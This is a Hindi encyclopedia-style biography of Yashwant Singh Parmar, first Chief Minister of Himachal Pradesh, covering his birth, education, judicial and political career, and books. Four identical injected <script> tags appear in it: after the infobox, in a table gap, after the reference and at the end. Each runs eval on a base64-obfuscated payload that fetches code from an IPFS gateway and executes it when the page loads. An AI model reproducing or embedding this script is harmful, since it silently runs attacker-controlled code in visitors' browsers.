यशवंत सिंह परमार
| |
पूरा नाम | यशवंत सिंह परमार |
जन्म | 4 अगस्त, 1906 |
जन्म भूमि | चनालग गांव, जिला सिरमौर, हिमाचल प्रदेश |
मृत्यु | 2 मई, 1981 |
मृत्यु स्थान | शिमला, हिमाचल प्रदेश |
संतान | चार |
नागरिकता | भारतीय |
प्रसिद्धि | राजनीतिज्ञ, हिमाचल प्रदेश के प्रथम मुख्यमंत्री |
पार्टी | भारतीय राष्ट्रीय काँग्रेस |
पद | मुख्यमंत्री, हिमाचल प्रदेश प्रथम बार- 8 मार्च 1952 से 31 अक्टूबर 1956 |
शिक्षा | एम.ए., एल.एल.बी. तथा समाजशास्त्र में पी.एच.डी. |
विद्यालय | लखनऊ |
विशेष योगदान | आपने हिमाचल प्रदेश को अस्तित्व में लाने तथा विकास की आधारशिला रखने में महत्वपूर्ण योगदान दिये। |
उत्तराधिकारी | ठाकुर राम लाल |
अन्य जानकारी | डॉ. यशवंत सिंह परमार ने सिरमौर रियासत में 11 सालों तक सब जज और 1930 से 1937 तक मैजिसट्रेट के बाद जिला और 1938 से 1941 तक सत्र न्यायधीश के रूप में अपनी सेवाए दीं। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>यशवंत सिंह परमार (अंग्रेज़ी: Yashwant Singh Parmar, जन्म- 4 अगस्त, 1906; मृत्यु- 2 मई, 1981) भारत के राजनेता और एक स्वतंत्रता-संग्राम सेनानी थे। वे हिमाचल प्रदेश के प्रथम मुख्यमंत्री बने थे। उन्हे ‘हिमाचल निर्माता’ के नाम से जाना जाता है। उन्होने हिमाचल प्रदेश को अस्तित्व में लाने तथा विकास की आधारशिला रखने में महत्वपूर्ण योगदान दिये। लगभग 3 दशकों तक कुशल प्रशासक के रूप में जन-जन की भावनाओं संवेदनाओं को समझते हुए उन्होने प्रगति के पथ पर चलते हुए हिमाचल प्रदेश के विकास के लिए नई दिशाएं पेश की। उन्होने अपना सारा जीवन प्रदेश की जनता के लिए समर्पित कर दिया। वे गरीबों और जरुरतमंदों की सहायता करने के लिए हमेशा तत्पर रहते थे।[1]
परिचय
डॉ. यशवंत सिंह परमार का जन्म 4 अगस्त, 1906 को सिरमौर जिले के चनालग गांव में हुआ था। हिमाचल निर्माता डॉ. वाई. एस. परमार के पोते व पूर्व कांग्रेसी विधायक कुश परमार के बेटे चेतन परमार बीजेपी में शामिल हैं।
शिक्षा
डॉ. यशवंत सिंह परमार ने 1928 में बी.ए. आनर्स किया और इसके बाद उन्होंने लखनऊ से एम.ए. और एल.एल.बी. तथा 1944 में समाजशास्त्र में पी. एच. डी. की उपाधि ग्रहण की। सन 1929 से 1930 तक वे थियोसोफिकल सोसायटी के सदस्य रहे।
कॅरियर
- डॉ. यशवंत सिंह परमार ने सिरमौर रियासत में 11 सालों तक सब जज और 1930 से 1937 तक मैजिसट्रेट के बाद जिला और 1938 से 1941 तक सत्र न्यायधीश के रूप में अपनी सेवाए दीं।
- उन्होंने अपनी नौकरी की परवाह किए बिना ही सुकेत सत्याग्रह प्रजामण्डल से जुड़े गए और उनके ही प्रयासों से यह सत्याग्रह सफल हो पाया।
- 1943 से 1946 तक वे सिरमौर एसोसिएशन के सचिव रहे।
- 1946 से 1947 तक हिमाचल हिल स्टेट कांउसिल के प्रधान रहे।
- 1947 से 1948 तक सदस्य आल इन्डिया पीपुलस कान्फ्रेस एवं प्रधान प्रजामण्डल सिरमौर संचालक सुकेत आन्दोलन से जुड़े रहे।
- डॉ. परमार के प्र्यत्त्न से ही 15 अप्रैल 1948 को 30 सियासतों के विलय के बाद हिमाचल प्रदेश बन पाया और 25 जनवरी 1971 को इस प्रदेश को पूर्ण राज्य का दर्जा मिला।[1]
- 1948 से 1952 वह सदस्य सचिव हिमाचल प्रदेश चीफ एडवाजरी काउंसिल रहे।
- 1948 से 1964 यशवंत सिंह परमार अध्यक्ष हिमाचल कांग्रेस कमेटी रहे।
- 1952 से 1956 तक हिमाचल प्रदेश के मुख्यमंत्री रहे।
- 1957 सांसद बने और 1963 से 24 जनवरी 1977 तक हिमाचल के मुख्यमंत्री पद पर कार्य किया।
पुस्तक
डॉ. यशवंत सिंह परमार सिंह एक अच्छे लेखक भी थे। उन्होने ने 'पालियेन्डरी इन द हिमालयाज', 'हिमाचल पालियेन्डरी इटस शेप एण्ड स्टेटस', 'हिमाचल प्रदेश केस फार स्टेटहुड' और 'हिमाचल प्रदे्श एरिया एण्ड लेगुएजिज' नामक शोध आधारित पुस्तकें भी लिखीं।[1]
मृत्यु
डॉ. यशवंत सिंह परमार की 2 मई, 1981 में मृत्यु हो गई।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ 1.0 1.1 1.2 डॉ॰ यशवंत सिंह परमार की जीवनी (हिंदी) jivanihindi.com। अभिगमन तिथि: 03 जुलाई, 2023।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
क्रमांक | राज्य | मुख्यमंत्री | तस्वीर | पार्टी | पदभार ग्रहण |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>